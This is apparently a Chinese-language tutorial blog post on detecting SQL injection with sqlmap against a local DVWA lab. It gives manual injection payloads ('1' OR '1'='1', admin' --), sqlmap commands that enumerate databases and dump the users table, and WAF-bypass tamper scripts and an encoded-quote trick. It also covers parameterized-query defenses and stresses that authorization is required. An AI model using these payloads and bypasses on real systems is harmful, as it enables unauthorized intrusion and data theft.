从DVWA到实战:手把手教你用sqlmap进行SQL注入漏洞检测

📅 2026/7/6 12:04:16 👁️ 阅读次数 📝 编程学习
从DVWA到实战:手把手教你用sqlmap进行SQL注入漏洞检测

1. SQL注入漏洞检测入门指南

SQL注入是Web安全测试中最常见的漏洞类型之一。简单来说,攻击者通过在输入字段中插入恶意SQL代码,欺骗数据库执行非预期的命令。这可能导致数据泄露、数据篡改甚至整个系统沦陷。

我第一次接触SQL注入是在五年前的一次内部安全测试中。当时我们的电商网站用户登录页面存在注入漏洞,攻击者只需要在用户名输入框中输入admin' --就能绕过密码验证。这个发现让我意识到,即使是最基础的Web应用也可能存在严重的安全隐患。

DVWA(Damn Vulnerable Web Application)是一个专门设计用于安全测试的PHP/MySQL靶场环境。它包含了从低到高不同安全等级的漏洞场景,是学习Web安全的绝佳平台。而sqlmap则是目前最强大的自动化SQL注入工具,支持六种不同的注入技术,能够检测和利用绝大多数SQL注入漏洞。

2. 搭建DVWA测试环境

2.1 使用Docker快速部署

最方便的DVWA部署方式是使用Docker。以下是具体步骤:

# 拉取DVWA镜像 docker pull vulnerables/web-dvwa # 运行容器并映射端口 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa

等待容器启动后,在浏览器访问http://localhost:8080。默认登录凭证是:

  • 用户名:admin
  • 密码:password

2.2 初始化数据库

首次登录后需要点击"Create/Reset Database"按钮初始化数据库。这个过程会:

  1. 创建必要的数据库表结构
  2. 插入测试数据
  3. 设置不同安全等级的安全机制

如果遇到PHP配置错误,可能需要修改两个文件:

# 进入容器内部 docker exec -it dvwa /bin/bash # 修改PHP配置 sed -i 's/allow_url_include = Off/allow_url_include = On/' /etc/php/7.4/apache2/php.ini # 重启Apache服务 service apache2 restart

3. 识别SQL注入点

3.1 手动测试基础注入

在DVWA中将安全等级设为"Low",然后进入SQL Injection页面:

  1. 在输入框尝试输入数字1,页面返回用户ID为1的信息
  2. 输入1'(带单引号),如果页面报错,说明存在SQL注入漏洞
  3. 进一步测试:1' OR '1'='1,这应该会返回所有用户数据

3.2 使用开发者工具收集信息

按F12打开开发者工具,切换到Network标签页:

  1. 提交表单后,找到对应的请求记录
  2. 复制完整的请求URL,例如:
    http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit
  3. 在Console标签页执行document.cookie获取当前会话的Cookie值

4. 使用sqlmap进行自动化检测

4.1 基本扫描命令

首先确保已安装sqlmap:

pip install sqlmap

使用收集到的URL和Cookie执行扫描:

sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=abc123; security=low" \ --batch

参数说明:

  • -u:指定目标URL
  • --cookie:维持会话所需的Cookie
  • --batch:自动选择默认选项,无需交互

4.2 数据库信息枚举

获取数据库基本信息:

sqlmap -u "URL" --cookie="COOKIE" --banner --current-user --current-db

典型输出示例:

[INFO] the back-end DBMS is MySQL banner: '5.7.29-0ubuntu0.18.04.1' current user: 'dvwa@localhost' current database: 'dvwa'

4.3 数据提取技术

列出所有数据库:

sqlmap -u "URL" --cookie="COOKIE" --dbs

列出指定数据库的表:

sqlmap -u "URL" --cookie="COOKIE" -D dvwa --tables

提取表数据:

sqlmap -u "URL" --cookie="COOKIE" -D dvwa -T users --dump

5. 高级扫描技巧

5.1 风险等级与测试级别

sqlmap提供精细的风险控制:

# 提高测试强度(1-5,默认1) sqlmap --level=3 # 提高风险等级(1-3,默认1) sqlmap --risk=3

5.2 使用代理观察请求

通过Burp Suite等代理工具观察sqlmap的请求:

sqlmap --proxy="http://127.0.0.1:8080"

5.3 绕过WAF防护

针对有WAF保护的目标:

sqlmap --tamper="space2comment,randomcase" --random-agent

常用tamper脚本:

  • space2comment:用/**/替换空格
  • randomcase:随机大小写
  • between:用BETWEEN替换比较符

6. 防御建议

6.1 开发层面的防护

  1. 使用参数化查询(Prepared Statements)

    $stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id'); $stmt->execute(['id' => $input]);
  2. 实施最小权限原则,数据库用户只赋予必要权限

  3. 对所有用户输入进行严格过滤和转义

6.2 运维层面的防护

  1. 定期更新数据库和Web服务器补丁

  2. 部署WAF(Web应用防火墙)

  3. 启用数据库审计日志

7. 实战经验分享

在实际测试中,我发现几个常见问题:

  1. 当sqlmap报告注入存在但无法利用时,尝试添加--technique=B指定使用布尔盲注

  2. 对于时间型盲注,使用--time-sec=5增加延迟时间可以提高成功率

  3. 遇到复杂JSON接口时,使用--data='{"id":1}' --headers="Content-Type: application/json"

记得在一次企业测试中,目标网站对单引号做了过滤,但通过编码%EF%BC%87(全角单引号)成功绕过了防护。这种经验告诉我,永远不要假设一种防护措施就能解决所有问题。

最后强调一点:未经授权的测试是违法行为。所有测试都应在获得明确授权的前提下进行,建议使用像DVWA这样的合法靶场环境来练习技术。